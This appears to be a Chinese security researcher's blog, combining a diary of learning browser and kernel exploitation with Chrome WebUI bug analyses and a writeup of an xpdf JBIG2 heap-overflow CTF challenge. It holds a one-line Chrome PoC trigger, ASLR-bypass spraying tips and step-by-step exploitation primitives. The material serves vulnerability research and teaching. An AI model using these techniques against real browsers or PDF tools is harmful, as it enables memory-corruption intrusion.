如果想学习二进制安全,或者和我交流,欢迎来这里找我w
1.看玄武实验室的每日安全推送(主要是看了android挖矿,p2p蠕虫)
2.配置shadow
尝试用gdb和gdbserver来调试
https://github.com/CENSUS/shadow
https://developer.android.com/ndk/downloads/index.html?hl=zh-cn
http://kiya.studio/2017/06/21/android-gdb/
shadow文档的几个坑点
3.晚上最大的收获是看到了一个不错的blog(android逆向CTF)
http://kiya.studio/2333/03/03/android-reversing-skills/#more
lctf2017的题目里学到不少东西,另外关于堆利用的姿势实在是不足,此外无libc利用这个也要再学习一下。
这几天除了两个project写,还打了强网杯,感觉就是什么都不会吧。。可能不该死磕一道题,应该都看看?…啊啊啊,难受死了,离顶尖水平差的根本不是一点半点……
还看了一篇清华的论文,非常nice。http://jcs.iie.ac.cn/ch/reader/view_abstract.aspx?file_no=20180101&flag=1
还是有的挫败呢,离别人的水平。
1.读玄武每日推送[http://chuansong.me/n/2253059751415].
2.准备配linux kernel的调试环境,真的是……配不起来啊,双机调试,拉取符号文件,设置串口,改配置开启调试功能。rbq,rbq
3.加入了chamd5团队,有师傅一起学pwn,一起讨论真是太棒了QVQ
编译linux 注意去掉不必要的东西,然后编译busybox 然后插入内核写linux init 最后制作cpio
这样就可以qemu+gdb调试了,很nice。
补一些浏览器的基础吧
学习了一下一个新的内核洞,有新的trick总结
最近觉得该搞搞利用了,路由器固件也可以玩一下,安全研究这么有趣,什么都能摸一下(才怪
这段时间沉迷期末考试无法自拔???嘤嘤嘤
有个小插曲,因为弄错了考试时间导致挂科,吃一堑长一智。。。
好了,开始记笔记了。
把v8 exploit的PPT翻译收了个尾,重新整理了下v8的学习思路。
从漏洞函数回溯调用路径,断点调试等,还有exp的常用思路。
最近脚上起了个小疮去了两趟医院,走路还好疼,真的是非常不顺利了。
在mac上编译了v8,之前是在win上编译的,不得不说……有个坑点就是在16.04上面,不checkout到旧的分支,是无法编译成功的,耽误了一天。
然后认真的研究了一下fast Properties和hidden class,拿gdb打debugprint看了很多东西学习,记笔记记笔记。
翻译了Source to Binary Jounrney of V8 javascript engine
categories,get了新知识,v8的体系结构还要多调试理解。
另外,再需要啃一本鲸书,理解一下编译优化技术。
积累着读了一点PPT
突然发现也已经看了和写了,还调试了不少东西了,慢慢的对v8从生疏到开始渐渐熟悉,不过到挖掘漏洞的方法论可能还要再过一段时间吧。
毕竟v8代码我都没咋读过,翻翻pipeline.cc了解下Turbofan的一些API
学习了阅读v8的bytecode,和了解bytecode的生成和解释执行还有to graph的过程
今天开始要复习一点算法呢。
学习了v8增加的gdb命令使用,读了
https://github.com/danbev/learning-v8/blob/master/README.md
真的难懂,看了一下午,没什么头绪。。
关于代码生成,Builtins和Runtime还是云里雾里,头疼。
写了个小工具来转换unsigned long long和double
v8的对象存储又看了一遍。。。结果今天还是没复习算法。。睡觉睡觉。
搬家,寄了一些东西回家,整理了整理书,虽然我看的都是电子书,但是还是存了这么多呀。
三年不长,但也不短。
晚上收拾了我最后一点东西,把入职需要的材料办完,要走了呢。
复习了几道动态规划的算法题,要考试啦。
另外最好的消息是迟到了。。只做了十分钟的计算机组成原理居然及格了。。感谢老师,师生情太深了,感动感动。
这段时间发生了不少事情,然后让我又想明白了一些事情,这段时间确实,没怎么学的进去,学的并不好。
今天看了蛮久的漏洞,不知道其他人是什么样,但是在我最烦最难受的时候,安全研究是最能让我平静下来的一件事情。
我喜欢这样,虽然目前很多地方做的并不好,但是可以慢慢学习~
写了个case CVE-2016-1646,还有另外一个JIT的洞,有点难懂。
调v8一个麻烦就是编译,得想个办法.
http://eternalsakura13.com/2018/06/26/v8_environment/
总算是搞定了,最近一些技术文章读的少了,思路不够开阔,学习学习……
还有算法考试要到了。。趴桌,继续在看动态规划和贪婪
学习了CVE-2016-5198,原理就是在JIT优化之后,会直接从n中取出直接取出自定义属性数组中,对应于某属性偏移的字段,而不做任何合法性校验。
都还需要总结(
刚入职这段时间确实是最宽松的一段时间了,只需要学习就行了,没有什么其他KPI,后面应该就多了。
今天分析CVE-2017-0234,不过主要花时间都花在环境搭建上,漏洞触发和分析并不难,或者说还好。
你要用较少的时间走完别人走了很久的路,所以你要跑起来,要飞快地跑起来。
今天开了个组会,可以说是非常开心了……
每天东看瞎看,没看点有用的东西……(发呆
然后导师给了我下一版要继续分析清楚的点。
太菜了太菜了……受不了我自己了……
今天的收获是和刘炜师傅指点了我好多,一些源码里的疑问搞的清楚了,还解决了其他问题,nice……每天学的都比较痛并快乐着了。
一觉睡到下午一点半……23333,还好周末,不过平常起得也不早,还好在玄武,要不然要被开了……
然后晚上和川神还有夜影他们约了个饭,感觉还不错~(然后吃完了滚回来加班)
今天看了点chakra,分析了cve-2016-7189,用英文写了wp,明天再整理一下pattern(root cause比较好写,只是关于callback我调了一下,挺好玩的)
type confused还是很普遍的漏洞,但是其实还是不大好覆盖到每个点去看,有没有什么好思路呢(发呆
这几天真的有点懵……或者说有点迷茫,开始搞chakra,代码还是那么难啃,不过比v8好搞多了……
关于开发者的假设最后还是弄清楚了,其实就还好,是我分析的时间间隔有点长,没直接串起来,一个宽度问题。
在想明白之前觉得自己要被开了,现在还好。
今天游走了一天,把zdi的博客上的一些分析看了,有点意思,但是还不够。
另外我又要继续分析了。
为什么VirtualAlloc比GC更不安全,GC机制。
导师让我找几个渲染引擎的老的UAF洞看看~(估计就16年的吧
感觉又要踩坑……
搭了一个VPN服务器,这样就不用担心v8拉取不下来了……
https://cloud.tencent.com/developer/article/1154896
人生苦短我用docker
中科大的编译原理课程,比较简单
http://mooc.study.163.com/course/1000002001?tid=1000003000#/info
http://staff.ustc.edu.cn/~bjhua/courses/compiler/2014/
斯坦福的CS143,编译基础
https://lagunita.stanford.edu/courses/Engineering/Compilers/Fall2014/about
斯坦福的CS243,编译优化
http://infolab.stanford.edu/~ullman/dragon/w06/w06.html
CMU,编译基础
http://www.cs.cmu.edu/~rjsimmon/15411-f15/
CMU,编译优化
http://www.cs.cmu.edu/afs/cs.cmu.edu/academic/class/15745-s16/www/
分析漏洞更深入了,思考的过程和思路慢慢搭起来了。
今天开始看编译原理。记录一些有趣的问题
1 | perfect hashing |
正则表达式代码生成工具
http://www.txt2re.com/
NFA->DFA,有限状态自动机
递归下降分析算法
LL(1),ANTIR
总结一下今天,组会上分享的刚好是浏览器相关的东西,学到很多,此外最重要的是听了别人每周在干什么,也慢慢的知道了自己以后研究该看什么。
此外就是在看编译原理了,JIT始终是一个大的攻击面,而且写js/dom fuzz也绕不开编译原理,要吃掉这块始终不容易。。我还是太菜了。
终于看得懂《IFuzzer: An Evolutionary Interpreter Fuzzer
Using Genetic Programming》说的什么了。
不过确实有局限性,充其量是个demo,想自己写一个了。
commit要看,标准要读,漏洞要调,代码要写。
小孩子才做选择,我全都要。
ctf pwn中的v8漏洞利用的坑差不多结了。。思路很多但是终究还是那些东西,利用都是好搞的,回归挖洞(笔记不放)
学会用antlr4(词法/语法分析)写点东西开了个头。。不过预计搞起来也很快
(IFuzzer: An Evolutionary Interpreter Fuzzer using Genetic Programming)
主要是参考这篇paper学习一下,有很多想法了。
然后剩下的主要工作就是学习编译优化,审计一下v8的JIT(看刘炜师傅写的两篇wp很有启发,看得出他对v8 IR有很多理解了,我也可以就这一块多做一些总结输出。。。
和朋友聊了一下,有的东西没有想象中的难,赶紧做出点东西,然后往前走吧。
最后和我说了一下,其实ArrayBuffer的这种分配方式,可以完美bypass 64位ASLR
其实这里又涉及一个点,那就ASLR的必要条件是虚拟地址空间足够大,而我们的物理地址空间很小,不可能堆喷喷满。
但是……我们可以用0x10000的内存去占位4G,那么其实只要喷2G就可以了……这就bypass了,2333
这些小特性,大特性,系统特性,各种特性的深入理解和消化绝对是十分重要的。
我体验了一次如何从0234发现0236的过程,收获颇丰。
现在想想,或许能够熟练的掌握trace+disassembly/指令记录+分析,这样的一种逆向能力,是十分重要的(如果是国产小软件,再加上如何从二进制文件搜索开源代码吧)
至于说,和做CTF一样,逆向各种神奇的架构和算法,我觉得是没必要的。
嘛,虽然我还都不会,不过姑且给自己找到了一个学习的思路和方法,还是收获蛮多。
5. 这段时间的主要工作是在分析CVE-2017-5121,关于v8 escape analysis phase,不过没有patch,这个漏洞是发生在6.1版本之前,6.2之后换掉了整个escape analysis,重新实现了一遍。
这个漏洞实际上是逃逸分析将一个对象分析为不会逃逸后,将其初始化节点删除,而又有LoadElement/LoadField的节点使用它。本质上是由于有依赖关系的节点的访问顺序不正确导致的。
我觉得挖edge怕不是loki的KPI吧。。又是挖了一堆,其中有一个还和大宝的撞了,是不是大佬的思路都是一样的……ORZ
今天可以分析学习一个。
今天各种填学校回去要交的材料,然后申请盖章,ORZ。
各种麻烦死。
1 | var i = 'A'.repeat(2**28 - 16).indexOf("", 2**28); |
还调了一个之前异常里触发的callback,bugs:798644
然后在for-loop里改掉了array的类型,从DICTIONARY_ELEMENTS->HOLEY_ELEMENTS。
loki用了一个unshift来把dictionary重新compact,patch里是在for-loop里加了一个类型检查,然后在新版v8里unshift不再能重新compact了,这个特性也没了。
本质上其实还是一个prerequisite不满足引起的fastpath bug,但是loki能想到这么触发真的很厉害。
还有一个在InferReceiverMaps因为new.target被直接当成JSFunction处理,但是其实这里可以接收任何带有constructor的JSReceiver,于是就类型混淆了,之前看过,但是没写笔记,也没好好看这个洞能不能利用,就翻出来想调一下重新看一下。
最后是之前v8 6.9提到的dataview的新特性
Dataview在6.9版本做了比较大的更新
然后我主要是在审JSCall里对DataView的runtime inline的地方,刚开始看。
其他的就想了一些调试看代码的方法,后面我会总结一下写个文档。
1 | function opt() { |
今天是想说一下天府杯啦,xuanwu lab第二,lw师傅打了三个手机浏览器项目,很厉害,明年我也要打。
其实打手机浏览器我已经准备了很多了,很多chrome v8能利用的漏洞,我都在linux上写了exp,剩下的事情并不复杂了,只要能调试和简单的逆向,然后适配手机就OK了。
所以其实呢平时多积累1day的exploit是很有意义的一件事情,到用到的时候就简单适配就好了。
让我感慨比较多的还是大宝,大宝太强了,他一个人可以搞定所有的浏览器,而且花了并不长的时间学习和搞定了ios的越狱。
https://www.anquanke.com/post/id/149939
顺手mark一下他当时的议题,虽然找不到PPT,mosec就是这点不好,完全不公开,只能找到这点资料了。
我现在在xuanwu lab做的并不是很好,挖v8的洞也挖不到,写利用也用不到我,感觉自己的工作就是完全在自学,比较边缘化,但是大家都是这么过来的,总有需要我忙起来的时候,在那之前我只需要不断的积累积累和积累。
其实在这里我想提一件好玩的事情,那就是,如果你不尝试,你永远不知道自己能做到哪一步。
看过我日记的话应该知道,我其实只是从今年二三月份才开始调试CVE的,而且是先搞的内核的漏洞,而浏览器漏洞可能在面试之前只搞过两个周多些(可能更短,然后在实习之前又有很多其他杂七杂八的事情干扰了我,比如期末考试),在实习之前才花了些时间补充了一些基础知识,但我知道远远不够。
然后我面过了xuanwu lab的浏览器组,似乎也拿到了其他的offer(似乎)
在实习的大概四个月里,我学会了如何去审计和分析,积累浏览器特性;
学习了如何写一个能跑起来的js fuzz;
学会了如何调试chrome,在PC上写一个完整的chrome exploit;
一些推特上的大佬给了我不少帮助,感觉大佬们真的是很平易近人了,还有其他朋友和我一起研究了不少东西,我觉得很开心。
我们这个行业发展是很快的,要跟上前面的人的进度,就必须跑起来,飞快的跑起来。
后面的打算是,和大宝说的差不多,一是仔细审计和分析学习历史漏洞,找找how to bypass patch的点,二是好好学习一下其他浏览器上的JIT,比如edge比如jsc,重点学习大宝和loki的洞,寻找更多的启发性的点。
积累下去,我会变得更好的,我确定。
先说结论https://cs.chromium.org/chromium/src/base/allocator/partition_allocator/partition_freelist_entry.h?g=0&l=23
猜我已经全猜出来了,后面整理文档。漏洞很有意思。
这个漏洞的root cause就是在一个wasm实例化InstanceBuilder::InstanceBuilder
的时候
因为触发了一次回调。
1 | int InstanceBuilder::ProcessImports(Handle<FixedArray> code_table, |
于是又进行了一次wasm2的实例化,因为wasm的实例化里有这么一个判断。
它会先把已有的compiled_module对象拿来用,首先检查它有没有owner,如果有了就克隆一份。
因为我们是在还没有设置owner之前就触发了回调再次实例化,于是两个wasm对象的compiled_module是一样的。
1 | Handle<WasmCompiledModule> original; |
在后面grow掉wasm2的buffer的时候,会将两个instance的wasm_memory_reference都改掉。
1 | void RelocInfo::update_wasm_memory_reference( |
具体的还要再看看,剩下主要还是在看partitionAlloc,
利用基本上是搞明白了,一些细节的东西还是要整理一下。
组会被问chrome sandbox escape,啥都不会的我。。太菜了ORZ
这周基本上就是在调试wasm的漏洞,和实现一个arraybuffer oob r/w的exp吧,后者geohot在2014年就搞过了23333.
35c3 video和日程整理
https://media.ccc.de
https://fahrplan.events.ccc.de/congress/2018/Fahrplan/schedule/3.html
开始fuzz之旅
From Zero to Zero Day-Jonathan Jacobi
https://www.youtube.com/watch?v=xp1YDOtWohw
Attacking Chrome IPC-nedwill
https://www.youtube.com/watch?v=39yPeiY808w
The Layman’s Guide to Zero-Day Engineering
https://www.youtube.com/watch?v=WbuGMs2OcbE
简述一下From Zero to Zero Day里我觉得有趣的东西
我似乎懂了些什么有趣的东西,从jsc开始实践。why not v8?it’s difficult…)
年终的最后几天,是一边睡觉一边和这些有趣的talk度过的,还看了35c3的v8题目,有一个逃逸分析的点想了半个月没想到,是我蠢了。
有趣的挑战,明年要继续努力了,夯实基础,砥砺前行。
一个人久了真的很累呀,新的一年,找个朋友一起住,一起打打游戏,搞搞研究,开开心~熬过这半年就好了。
不写日记感觉不能梳理自己每天在干嘛,就写一下好了。
学习saelo的两个spiderMonkey漏洞
https://bugs.chromium.org/p/project-zero/issues/detail?id=1791
https://bugs.chromium.org/p/project-zero/issues/detail?id=1810
学习saelo的jsc漏洞
https://bugs.chromium.org/p/project-zero/issues/detail?id=1753
关于ArrayWithSlowPutStorage
最近分析的比较有趣的浏览器漏洞。
Issue 1793: Chrome: Integer overflow in NewFixedDoubleArray
https://bugs.chromium.org/p/project-zero/issues/detail?id=1793
CVE-2019-5786 FileReader UaF
OOB Write in ValueDeserializer::ReadDenseJSArray (Tian Fu Cup)
https://bugs.chromium.org/p/chromium/issues/detail?id=905940
https://bugs.chromium.org/p/chromium/issues/detail?id=906313
https://bugs.chromium.org/p/chromium/issues/detail?id=914731
现在看这些漏洞,有一些有趣的code smell了。浏览器对我来说慢慢的也已经变成了一个看得懂的东西呢,不过离挖到洞还早。
我的CVE。
最近这几天一直在想漫长的一个月做点什么,嗯,没错,我毕业了,毕业答辩结束,应该没什么幺蛾子的话,会顺利的会玄武上班。
然后就有点迷茫,暂时,嗯,暂时不太想继续肝JS engine了,花了太久,产出有限,希望做些有趣的事情,嗯,当然fuzz还会继续跑。
想学的东西有点多,我是出于兴趣在搞技术的,有些复杂的东西其实不太想牵扯到其中,我喜欢挖到漏洞,喜欢和厉害的人交流技术弥补不足。
还想学更多有趣的东西。
1 | rtc_static_library("call") { |
最近还是挺烦的,各种烦心的事情,不过还是记录一下这段时间做了什么。
这段时间把loki挖的chakra的历史漏洞看了一下,主要理解一下chakracore的codebase,方便后面分析样本,然后准备写一个导入语料的功能,这样就可以通过根据筛选语料来导入更多的,嗯,基因突变,哈哈。
还是有很多事情想做,但是受限于能力没做成,不过,加油吧。test
第一,是否有足够扎实的开发或者逆向基础,包括但不限于以下。
1 | 1.C++ STL实现一套tiny STL且熟悉STL源码 |
第二,是否有追踪前沿的安全议题和漏洞,并有一些自己的思路和想法。
如果想清楚这些,并且能够做到上述的基础扎实,欢迎一起讨论问题呀2333
新年快乐~民那桑
新的一年发生了很多事,做个年末小总结。
今年也快结束了,稍微做个小总结吧,我的日记也很久没更新过了。
今年的年末总结趁着居家的最后一天写一下,又是一年过去了呢。
Chromium中的WebUI的例子。
关于webui具体怎么工作在这里将不展开,请参考官方文档详细阅读,本文将重点介绍webui中常见的几类漏洞模式。
https://chromium.googlesource.com/chromium/src/+/master/docs/webui_explainer.md
我们将以一个简单的漏洞模式来学习webui的数据流传递。
具体的说就是每个WebUI都会注册很多WebUIMessageHandler,而每个Handler上又会注册多个Message Callback,每个Message Callback都有一个对应的Message Name,可以通过这个Message Name来调用到对应的webui函数,并传入参数。
具体来说就是形如以下调用:
1 | chrome.send("recordNavigation",[1337,0]); |
由于该漏洞代码只存在于chromium dev,不存在发行版中,所以没有CVE,只有对应的issue编号。
让我们看一下代码,这里注册了一个名为recordNavigation的Message Callback,它将对应调用到HandleRecordNavigation函数,并处理传入的参数。
它将对传入的参数列表依次调用ConvertToNavigationView,将其强制转换为NavigationView类型的枚举值,分别得到from_view和to_view。
但由于这里并没有检查传入的参数是否小于NavigationView类型能处理的最大值,注意这里仅仅只有一个debug check,这个debug check在release发行版里是不存在的,所以可以试做没有检查。
这将导致在EmitScreenOpenDuration函数处理cast之后得到的from_view的时候, 触发一个堆溢出。
这里它将对kOpenDurationMetrics列表进行find,但是由于没有检查传入的参数是否小于NavigationView类型能处理的最大值,所以它将find不到。
我们知道在c++里,find如果找不到,迭代器iter将指向end,这其实代表的是指向容器的最后一个元素的下一个。
而这里同样也没有检查find找不到的情况,也就是没有检查iter是否指向end,就直接解引用了。它同样也是使用了一个Debug Check,但这其实是无用的。
所以对iter解引用将直接越界,造成buffer overflow。
1 | // content::WebUIMessageHandler: |
browsing chrome://diagnostics
and open devtools
execute chrome.send("recordNavigation",[1337,0]);
in console.
补丁就是加上了我刚刚提到的没有加的检查。
1 | auto* iter = kOpenDurationMetrics.find(screen); |
https://bugs.chromium.org/p/chromium/issues/detail?id=1303613
https://chromium.googlesource.com/chromium/src/+/08b5eaecf33165cda178517fa4ba070d1f598e16
1 |
|
[0] 当我们调用两次EnableFakePhoneHubManager, fake_phone_hub_manager_字段将会被初始化两次, 又由于fake_phone_hub_manager_是一个unique_ptr,所以前一次创建的FakePhoneHubManager将会被后一次创建释放掉。
[1] 但是第一次创建的fake_phone_hub_manager_的raw ptr还保存在PhoneHubUiController的phone_hub_manager_字段里
[2] 这将导致第二次调用EnableFakePhoneHubManager的时候,沿着EnableFakePhoneHubManager->SetPhoneHubManager->CleanUpPhoneHubManager
路径,再次使用到前一次被保存到phone_hub_manager_里的被释放的FakePhoneHubManager,造成UAF。
https://bugs.chromium.org/p/chromium/issues/detail?id=1310717
https://chromium.googlesource.com/chromium/src.git/+/HEAD/docs/threading_and_tasks.md
Chrome将运行UI并管理所有网页和插件进程的主进程称为“浏览器进程”或“浏览器”,而每个网页都运行在一个单独的进程里,这个进程称为渲染进程。
鉴于渲染进程在单独的进程中运行,所以Chrome有机会通过沙箱限制其对系统资源的访问,所有渲染器对网络和文件资源的访问都通过IPC来通知浏览器进程来完成。
在一个进程中,往往有如下几种线程:
1 | void CrostiniUpgrader::Backup(const ContainerId& container_id, |
我介绍一个我挖掘的漏洞,首先我们要知道Chrome线程内部是怎么实现任务的同步的,其实是通过派发一个回调给一个处理线程的MessageLoop,然后MessageLoop会调度该回调以执行其操作。
这个漏洞就是这么产生的,ThreadPool::PostTaskAndReplyWithResult是UI线程向线程池里的线程发送一个PathExists函数的回调,然后线程池会检查backup路径是否存在,然后当线程池执行完任务PathExists,它会向UI线程发送一个OnRestorePathChecked函数的回调,一个回调其实和一个闭包是相似的,它会包括一个函数指针和它使用的函数参数。
在这个过程中就可能产生条件竞争。因为OnRestorePathChecked的参数里包括了一个原始指针web_contents,这样的指针是没有被保护的,所以如果我们在线程池里正在执行PathExists的同时,我们在UI线程这边通过关闭网页把web_contents释放掉,从而当OnRestorePathChecked被发回到UI线程执行的时候,此时web_contents已经被释放掉了,解引用它的指针就会触发UAF。
https://bugs.chromium.org/p/chromium/issues/detail?id=1320624
https://bugs.chromium.org/p/chromium/issues/detail?id=1322744
https://bugs.chromium.org/p/chromium/issues/detail?id=1311701
https://bugs.chromium.org/p/chromium/issues/detail?id=1304145
https://bugs.chromium.org/p/chromium/issues/detail?id=1315102
SupportToolMessageHandler::HandleStartDataExport
会创建一个 select_file_dialog_
[1] 并显示一个 SelectFileDialog对话框。
当 [1] 被调用时,this
原始指针被传递给ui::SelectFileDialog::Create
,并且传递的this
原始指针被保存在listener_
[2] 中。
当用户选择一个文件夹时,listener_->FileSelected(paths[0], index, params);
[3]被调用来处理用户的文件夹选择。
但是,SupportToolMessageHandler::~SupportToolMessageHandler
[4] 是默认析构函数,不会调select_file_dialog_->ListenerDestroyed();
将listener_
置为nullptr。
如果用户在 SupportToolMessageHandler
被释放后选择了一个文件夹(即 listener_
被释放),UAF 将在 [3] 中触发。
因此,我们可以构建以下 UAF 链:
SupportToolMessageHandler::HandleStartDataExport
SupportToolMessageHandler
1 | scoped_refptr<ui::SelectFileDialog> select_file_dialog_; |
1 | SupportToolMessageHandler::~SupportToolMessageHandler() { |
https://bugs.chromium.org/p/chromium/issues/detail?id=1305068
https://bugs.chromium.org/p/chromium/issues/detail?id=1306391
https://bugs.chromium.org/p/chromium/issues/detail?id=1304884
]]>欢迎大家关注公众号”天问记事簿”,以及加入天问之路知识星球,一起做技术分享,一起学习,happy hack。
本题的考点可能来源于Project Zero的A deep dive into an NSO zero-click iMessage exploit: Remote Code Execution一文,这篇文章介绍了一个图片渲染库的整数溢出漏洞,以及如何通过这个漏洞来利用这个解析库原有的处理像素数据的与或非功能,构建了一个图灵完备的小型计算机,从而完成后续的漏洞利用。
但由于Linux平台相比,缓解机制并不完善,以及我们不需要对接一个sandbox escape漏洞来逃逸imessage沙箱,所以只需要简单的构建一个全加器就可以实现整个漏洞利用,体验到神奇的乐趣。
这里是复盘 RWCTF2022 中 hso groupie
题时所写下的一些笔记,在做题的过程中,我们大量阅读了fcd14492标准文档,如果你在做题或者阅读本文的过程中感觉难以理解,请参考文档的第0章/第7章和第6章等,想必会有所收获,感谢Riatre师傅提供的有趣题目。
整体的做题思路主要由作者 exploit 中所推导出,换句话说,这里的笔记主要是对 作者 exploit 的解释说明。
由于这题同样也较为复杂,因此需要单独开一个博文来记录。
1 | Help check how secure our latest PaaS (Pdftohtml-as-a-Service) is! |
这题是 clone-and-pwn,源码没有做任何改变,就是通过查看最近提交的漏洞修复记录来发掘并利用漏洞。
这一题是在 debian 下编译的,因此对于 debian 系统来说,有些系统可以直接跑 exp(例如我的 XD)。
1 | wget https://dl.xpdfreader.com/xpdf-4.03.tar.gz |
启动方式:
1 | xpdf/pdftohtml <pdf-path> -- |
去 题目环境 这里下载 dockerfile 等题目环境,之后给 dockerfile 打 patch:
1 | --- a/Dockerfile |
修改目的主要是把 gdbserver 放进镜像里,以及让入口点停在 /bin/sh
,而不直接启动 pdftohtml。
这里要注意 COPY 命令的源路径,这里是直接使用相对路径。
执行 build.sh
,执行完成后可以检查一下镜像
1 | ➜ chall git:(master) docker image ls |
启动 docker 镜像
1 | docker run -itd -p 1234:1234 -v sakura_volume:/tmp/chall --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name hsogroupie hsogroupie/pdftohtml |
该命令非常长,解构如下:
1 | docker run --help |
这里挂载数据卷需要额外说明(参考这篇文章)
1 | docker volume create sakura_volume // 创建一个自定义容器卷 |
然后我们对 /var/lib/docker/volumes/sakura_volume/_data
的修改就会映射到容器的 /tmp/chall
里,传输文件就比较方便。
启动完了之后我们可以 docker ps
一下看看有没有问题
1 | ➜ chall git:(master) docker ps -a |
生成 exp pdf,注意要对 submodule 初始化,不然没有 jbig2enc 库
1 | git clone https://github.com/Riatre/hso-groupie.git |
然后我们进入 docker 容器里对应数据卷的 exploit 目录下,应该要 install 这些安装包,要是少了就自己补一下:
1 | apt-get update |
调试 exp
1 | docker exec -it 15f265c337c0 bash |
进入容器的 bash 环境,然后启动 gdbserver
1 | rm -rf output && /usr/bin/gdbserver :1234 /usr/local/bin/pdftohtml /tmp/chall/exploit/sploit.pdf output |
这里的 output 是随便给一个文件夹名就行了,这是 pdftohtml 必须的启动参数,它会创建这个文件夹,并输出一个结果到这个文件夹里,并且它不能是已经存在的文件夹,而 sploit.pdf 就是我们生成出来的 exp pdf 文件。
然后在宿主机也启动 gdb,然后 target remote:1234
,然后随便下个断点看看效果,注意因为 docker 里的源码路径和我宿主机的源码路径并不一致,所以要用 substitute-path
做个转换,建议写个 gdb 脚本完成这个事情,后面就不用一直自己敲了。
1 | target remote :1234 |
现在我们就完成了整个调试环境的搭建。
这题预期的解法是使用这篇 google project zero 的 iMessage exploit 中的漏洞。漏洞点位于 JBIG2Stream
:
1 | void JBIG2Stream::readTextRegionSeg(Guint segNum, GBool imm, |
由于恶意构造的 refSegs
中,一些 seg->getSize()
值很大(4GB),因此如果全部写进则肯定会触发 crash。所以在实际的漏洞利用中,会尝试先做做堆风水:
看图,exploit 需要将 segments GList 的后备存储,放置在刚刚创建的溢出堆块的高地址处。这样触发堆溢出时,就能在执行前几个正常 size 的写入操作时,将后备存储中的那个超大 size 所对应的 segment 指针,替换成非 JBIG2SymbolDict 类型的 segment 指针(即 JBIG2Bitmap 类型)。之后当程序检索这个 segment 指针时,就会跳过该指针的检索。
漏洞点位于 JBIG2Stream ,而 JBIG2Stream 又怎么存在于 pdf 中呢?
pdf 文件结构本质上是一个树状图,这里给出一个使用 JBIG2Stream 的 pdf 片段:
1 | 4 0 obj |
pdf 文件中,4 0 obj、5 0 obj 都是表示一个特定的 pdf object。
其中,4 0 obj
标识了下面中的 MyStream1
,其参数 /Filter /FlateDecode
表示该流是使用 zlib 压缩。
继续往下看可以看到: 5 0 obj
中,/DecodeParms
引用了 4 0 obj
中的 stream 流,即 MyStream1
;同时参数 /Filter /JBIG2Decode
指定了接下来的流 MyStream2
使用的解码方式是 JBIG2Decode
。
因此从上文可以得知,MyStream2
使用 JBIG2Decode 进行解码,其解码参数为上面引用的这个 4 0 obj
,即 MyStream1
使用 FlateDecode
所解码后的流,而该参数的键为 JBIG2Globals
。
而我们要做的,就是精心构建 MyStream1
和 MyStream2
(这两个流都是 JBIG2Stream),使其在解析这两个 Stream 时能触发漏洞,从而 get shell。
构建好这两个流后,可以使用 jbig2enc/pdf.py 来创建出 pdf。
注,这一节中,每个 segment 所对应的代码最好亲自阅读一下。
当 xpdf 对 JBIG2Stream 解码时,正如上节中所示,JBIG2Decode 需要一个参数 JBIG2Globals
。因此在解析时,会先解析 JBIG2Globals
的 stream,之后再解析下面的 main stream。以下代码说明了 stream 的解析过程:
1 | void JBIG2Stream::reset() |
这里我们可以了解到,JBIG2Stream 是由多个 Segment 组成的,Segment 种类较多。这里我们只关注几个有用到的 Segment。
该 Segment 的解析标志了完成了全部 segment 的读取,没有其他用途。
SymbolDict 主要存放了一个指向 Bitmap 的指针数组。Bitmap 可以用于存放数据,在实际漏洞利用中将起到类似内存的作用。
对于每个 symbol dict 中的 Bitmap,规范中将其称为一个 instance。
解析 SymbolDictSeg 时,将会从 stream 中读取并创建出每一个 Bitmap。
1 | GBool JBIG2Stream::readSymbolDictSeg(Guint segNum, Guint length, |
对于每个 Page 来说,需要有一个 Bitmap 来表示当前页面渲染的数据。而在解析 PageInfoSeg 时,程序会创建一个流内全局 Bitmap:pageBitmap。
1 | void JBIG2Stream::readPageInfoSeg(Guint length) |
需要注意的是,pageBitmap 很关键,它表示了一个 Page 的 bitmap。我们将使用堆溢出来覆写 pageBitmap 的 Width 和 Height,进而达到越界读写的目的。
同时 PageInfoSeg 还可用于绕过一个 sanity check,下文中会提到。
GenericRegionSeg 的解析将会从流中读取一个 Bitmap,并与当前的 pageBitmap 的特定区域进行运算:
需要注意的是,JBIG2Globals Stream 中的 Segment 不允许引用任何 Segment,因此 GenericRegionSeg 不能存放在 JBIG2Globals 流中。
1 | void JBIG2Stream::readGenericRegionSeg(Guint segNum, GBool imm, |
其中,从流中读取 Bitmap 的操作位于 readGenericBitmap
函数中,读取的操作需要使用到编码器。
而与 pageBitmap 的运算主要是使用 JBIG2Bitmap::combine
方法,该方法中有五种运算方式,分别是 与、或、异或和替换:
1 | switch (combOp) |
我们可以将外部的立即数,通过利用该段的解析过程,将其传入 pageBitmap 中等待进一步的运算。
GenericRefinementRegionSeg 的解析过程,组合起来可以对 pageBitmap 上的部分数据进行位运算。我们可以利用这里的位运算来构建加法器:
1 | void JBIG2Stream::readGenericRefinementRegionSeg(Guint segNum, GBool imm, |
当 GenericRefinementRegionSeg 不引用任何段时,变量 nRefSegs 为 0,此时 refBitmap 为 pageBitmap 上指定 x、y、w、h 属性的一块数据空间。
由于函数 readGenericRefinementRegion
只会受到 refBitmap 的影响,因此我们可以认定传出的bitmap 变量等价于 pageBitmap 上特定区域的数据。
接下来,若我们指定 imm 为 false,那么这块等价于 pageBitmap 上特定区域的数据,将被存储进 segments 数组中。
若下一次解析 GenericRefinementRegionSeg 时引用了第一步创建的段,那么此时 refBitmap 为第一步创建的 Bitmap。这样当 imm 为 true 时,第一步创建的 Bitmap 将会和 pageBitmap 上指定的位置进行 combine 操作,即位运算。
由于第一步创建的 bitmap 是和 pageBitmap 相关,因此整个过程就等价于
从 pageBitmap 上特定位置1取下一块数据,并保存至 segments 上
从 segments 上取下这块数据,并将其与 pageBitmap 上特定位置2进行位运算。
1 | +----------------------> x-axis |
如此,便达到了让 pageBitmap 上指定两个位置的数据进行位运算的操作。我们将使用该操作来一步步构建位运算原语、乃至加法器。
TextRegionSeg 可以引用指定的 SymbolDictSeg,并对其中的任意 instance 进行操作。
需要注意的是,JBIG2Globals Stream 中的 Segment 不允许引用任何 Segment,因此 TextRegionSeg 不能存放在 JBIG2Globals 流中。
整体流程大致如下:
1 | void JBIG2Stream::readTextRegionSeg(Guint segNum, GBool imm, |
通过阅读上面关于 Segments 的源代码,我们可以很容易的得知:在诸如 readGenericBitmap
等读入 bitmap 的函数中,hso 会尝试从外部 JBIG2Stream 流中,使用某种解码器来对读入的 bitmap 进行解码(例如代码中多次出现 arithDecoder->decodeInt
等调用)。
